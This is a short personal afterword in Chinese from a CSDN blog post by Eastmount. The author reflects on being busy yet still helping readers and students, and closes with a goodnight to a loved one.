虽然非常忙,但每当看到博友的提问或交流都不忍拒绝,其实自己真的快忙疯了。看到这些大山走出去的学生,大一新生,求职研究生或遇到问题的朋友,都想帮他们一把,因为我们也是在很多人的帮助下成长起来的。而看到很多私活、广告、合作、出书之类的私信,我都会拒绝或不回时光飞逝,还有太多知识要去学习,太多陪伴要去争取,太多文字要去记录,且行且珍惜,最爱的人,晚安。

在这里插入图片描述

(By:Eastmount 2020-06-09 凌晨2点写于贵阳 http://blog.csdn.net/eastmount/ )

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/106560849
今日推荐